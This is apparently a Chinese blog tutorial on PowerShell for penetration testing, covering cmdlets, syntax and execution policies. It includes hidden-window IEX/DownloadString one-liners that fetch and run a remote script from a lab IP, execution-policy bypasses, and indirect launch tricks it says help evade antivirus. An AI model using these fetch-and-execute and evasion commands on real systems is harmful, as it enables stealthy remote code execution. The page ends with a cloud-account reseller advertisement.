Powershell渗透框架

Powershell基础

Powershell简介

什么是 Windows PowerShell

Windows PowerShell 是 Microsoft 创建的基于任务的自动化命令行Shell和相关脚本语言基于 .NET 框架。

是Microsoft的新Shell它将旧的命令提示符(CMD)功能与具有内置系统管理功能的新脚本指令集结合在一起。

用于控制和自动化管理Windows操作系统和运行在操作系统上的应用。

被广泛用于渗透测试等方面在不需要写入磁盘的情况下执行命令也可以逃避 Anti-Virus 检测。

Windows PowerShell 中的命令称为 cmdlet 发音为“ command-lets ”其中每个 cmdlet 代表特定的功能或基于任务的脚本。

Powershell 默认安装在Win7及以后的系统上。

操作系统信任

提供Windows操作系统的几乎一切访问权限

Windows PowerShell 集成脚本环境(ISE)

为什么使用 Windows PowerShell

它既是脚本语言又是命令行Shell。它可以与不同数量的技术进行交互。

Windows PowerShell允许完全访问.NET框架中的所有类型。PowerShell是基于对象的。

Microsoft为各种产品设计的GUI的许多接口是PowerShell的前端接口。

它比运行VBScript或其他脚本语言更安全。

通过组合多个命令和编写脚本它可以更有效地执行重复性任务。假设系统管理员希望创建数百个活动目录用户那么他只能借助脚本中放置的某些 PowerShell cmdlet 来实现此目的。

使用PowerShell的简单cmdlet可以在一秒钟内完成许多复杂且耗时的配置和任务。

如何启动 Windows PowerShell

所有最新版本的 Windows 中都可以使用 PowerShell 。

我们需要按照给定的步骤启动 PowerShell 搜索 Windows PowerShell 。选择并单击。 PowerShell窗口将打开。

PowerShell和Cmd命令提示符的区别

PowerShell

1、它是基于.NET框架的基于任务的自动化命令行
界面和关联的脚本语言。

2、它可以解释批处理和PowerShell命令。

3、它用于控制和自动化Windows服务器上的应用
程序和Windows操作系统。

4、PowerShell生成的输出不仅是字符流而且是
对象的集合。

5、它既是Shell程序又是脚本编制环境它支持创
建用于管理Windows操作系统的大文件。

cmd

1、它是Microsoft Windows操作系统的默认
命令行解释器。

2、它只能解释批处理命令。

3、它用于在控制台上执行给定的命令可用
于调试问题。

4、命令提示符生成的输出只是字符流(文本)。

5、它只是一个shell系统它允许用户仅执行
简单和基本的脚本来执行批处理文件。

管理员运行 PowerShell

在Windows操作系统中有五种方法可以以管理员身份运行PowerShell

1、使用运行窗口(对于所有版本的Windows)以管理员身份运行PowerShell。
2、使用Cortana搜索栏(对于Windows 10)以管理员身份运行PowerShell。
3、在命令提示符下以管理员身份运行PowerShell。
4、从任务管理器以管理员身份运行PowerShell。
5、从“开始”菜单以管理员身份运行PowerShell。

Windows PowerShell ISE

Microsoft Windows PowerShell ISE 是基于图形用户界面的应用程序并且是Windows PowerShell的默认编辑器。

ISE代表集成脚本环境。它是一个界面我们可以在这个界面中运行命令以及编写测试和调试PowerShell脚本而无需在命令行界面中编写所有命令。

集成脚本环境(ISE)提供选项卡补全多行编辑语法着色上下文相关帮助选择性执行以及对从右到左语言的支持。

PowerShell的ISE窗口包含以下三个窗格

脚本窗格此窗格允许用户创建和运行脚本。 用户可以在脚本窗格中轻松打开编辑和运行现有脚本。

输出窗格此窗格显示脚本的输出以及运行的命令。还可以清除并复制“输出”窗格中的内容。

命令窗格此窗格允许用户编写命令。在命令窗格中轻松执行单行或多行命令。

创建并运行脚本

文本编辑器创建脚本

打开任意文本编辑器写入测试脚本内容

echo "Hello world"

保存文件名为 test.ps1双击即可运行

集成脚本环境创建脚本

打开 Windows PowerShell ISE 新建一个空文件写入要执行的脚本内容保存文件名为test.ps1

菜单栏点击运行或快捷键 F5 运行脚本

加载执行本地脚本

powershell -f test.ps1  #需要指定路径

加载执行远程脚本

Powershell 远程下载代码脚本执行

powershell -c "Invoke-Expression (New-Object 
System.Net.WebClient).DownloadString('https://192.168.88.128:80/test.ps1')"

Invoke-Expression(IEX的别名)用来把字符串当作命令执行。

WindowStyle Hidden(-w Hidden)隐藏窗口

Nonlnteractive(-NonI)非交互模式PowerShell不为用户提供交互的提示。

NoProfile(-NoP)PowerShell控制台不加载当前用户的配置文件。

Noexit(-Noe)执行后不退出Shell。

EncodedCommand(-enc): 接受base64 encode的字符串编码避免一些解析问题

WebClient 类提供用于将数据发送到由 URI 标识的资源以及从这样的资源接收数据的常用方法。

https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient?view=net-6.0

DownloadString 方法以 String 形式下载请求的资源。 可以以包含 URI 的 String 或 Uri 的形式指定要下载的资源。

https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient.downloadstring?view=net-6.0

脚本执行策略

在计算机系统中启动PowerShell时默认执行策略不允许我们执行或运行脚本。

查看当前执行策略

Get-ExecutionPolicy

获取影响当前会话的所有执行策略并按优先顺序显示它们

Get-ExecutionPolicy -List

将执行策略设置为 Bypass

Set-ExecutionPolicy Bypass

#需要使用管理员权限启动power shell

对特定的用户执行策略设置

Set-ExecutionPolicy Unrestricted -Scope LocalMachine

详细查看 https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.3

PowerShell中可以设置以下类型的执行策略

名称说明
AllSignedAllSigned 允许执行所有具有数字签名的脚本。
Bypass不阻止任何操作并且没有任何警告或提示。
Default设置默认执行策略。Restricted 适用于 Windows 客户端。为 Windows 服务器远程签名
RemoteSigned允许执行具有数字签名的通过网络下载的脚本本地创建的脚本不要求脚本具有数字签名可以直接执行。
Restricted受限制的可以执行单个的命令但不能执行脚本执行就会报错Windows8,Windows 8.1,Windows Server 2012中默认策略。
UndefinedUndefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。
Unrestricted允许运行未签名的脚本。从网络上下载的脚本在运行前会进行安全性提示。需要确认是否执行脚本。

Bypass 最为常用

绕过执行策略

本地读取然后通过管道符运行

powershell Get-Content C:\Users\xxxxx\Desktop\powershell\test.ps1 | powershell -

远程下载并通过IEX运行脚本

powershell -w hidden "IEX(New-Object
Net.WebClient).DownloadString('http://192.168.88.128:80/test.ps1')"

Bypass执行策略绕过

powershell -executionpolicy bypass -f C:\Users\xxx\Desktop\powershell\test.ps1

Unrestricted执行策略

powershell -executionpolicy unrestricted -f C:\Users\xxxx\Desktop\powershell\test.ps1

PowerShell注释

单行注释

单行注释是在每行的开头键入井号 # 的注释。 # 符号右边的所有内容都将被忽略。 如果在脚本中编写多行则必须在每行的开头使用井号 # 符号。

# 单行注释.............

多行注释

要注释多行请将 <# 符号放在第一行的开头将 #> 符号放在最后一行的末尾。

<# 多行注释.........  
多行注释.........  
多行注释....................#>

PowerShell Cmdlet

Cmdlets 是 PowerShell 的非常重要的内部命令集。

Cmdlet 发音为” command-lets ”它是在 PowerShell 环境中使用的轻量级命令。 这些是在PowerShell环境中实现特殊功能的特殊命令。

Cmdlet 遵循“动词-名词”模式例如 set-childItem

Cmdlet 是以 .NET 类实例形式存在的命令。 Cmdlets 可以用任何 .NET 语言来编写也可以用PowerShell 脚本语言来编写。

它并不是简单的可执行文件它有很多属性这些属性用来指定输入参数或者使用管道来管理重定向。我们可以通过输入 Get-Command 可以显示可用的 Cmdlets 命令。

Get-Command -CommandType Cmdlet

常用Cmdlet命令

查看 powershell 版本

$PSVersionTable

#别名 Get-Host

查看当前环境变量


Get-ChildItem env:

#别名gci ls dir

启动指定程序

Start-Process calc.exe

saps explorer.exe
 
#别名 saps start

获取指定进程信息

Get-Process
Get-Process explorer

#别名 gps ps

获取文件信息

Get-Item 1.txt

#别名 gi

复制文件

Copy-Item 1.txt 2.txt

#别名 cpi cp copy

移动文件

Move-Item 1.txt 2.txt

#别名 mi mv move

获取指定服务信息

Get-Service -Name Everything

获取文件Hash

Get-FileHash -Algorithm SHA1 1.txt
Get-FileHash -Algorithm MD5 1.txt

设置文本内容

Set-Content 1.txt -Value "hello, word"

#别名 sc

删除文件的内容但不删除该文件

Clear-Content 1.txt

获取当前目录

Get-Location

#别名gl pwd

查看别名

Get-Alias -name dir

基本语法

管道符

|     #将一个命令的输出作为另一个命令的输入

分号

;   #分号用来连续执行系统命令

调用操作符

&   ##调用操作符它允许你执行命令脚本或函数

输出单双引号

""""
# 输出双引号
''''   
# 输出单引号

运输符

>   #将输出保存到指定文件中用法Get-Process > output.txt
>>  #将脚本的输出追加到指定文件中用法test.ps1 >> output.txt
2>  #将错误输出到指定文件中Get-Porcess none 2> Errors.txt
2>> #将错误追加到指定文件中Get-Process none 2>> logs-Errors.txt
-eq #等于运算符用法$var1 –eq $var2返回真或假
-gt #大于运算符用法$var1 –gt $var2返回真或假
-match     #匹配运算符搜索字符串是否在文中出现用法$Text –match $string返回真或假
-replace   #替换字符串用法$Text –replace 被替换的字符,替换的字符返回真或假
-in       #测试一个字符或数字是否出现在文本中或列表中声明列表直接使用

变量

变量都是以 $ 开头

$w = "hello world"   # 变量赋值
$w   # 访问变量

数组

$a = 'value1','value2','value3'     # 创建数组
$a[0]   # 访问数组第一个元素
$a = @()   # 空数组
$a = 1,'two',(get-date)

语句

条件语句

if($var {comparison_statement} $var2) {What_To_Do}
else {what_to_if_not}

循环语句

while() {}
Do {} While()
For(;;;) {}

Cmd启动Powershell

常规方法

cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green"

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -"

管道输入流

cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"

环境变量

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX $env:cmd"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && cmd /c echo %cmd% | powershell -"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green && powershell IEX ([Environment]::GetEnvironmentVariable('cmd','Process'));"

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&&powershell IEX ((Get-ChildItem env:cmd).Value)"

从粘贴板执行

cmd.exe /c "echo Write-Host CLIP -Fore Green | clip && powershell [void]  
[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX 
([System.Windows.Forms.Clipboard]::GetText())"

bat脚本执行

@echo off
powershell -c Write-Host SUCCESS -Fore Green
pause

#不想有'请按任意键继续...' 可以去掉pause

[未完待续后面会更新CobaltStrikePowerShell加载器以及PowerSploit后渗透框架…]

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: shell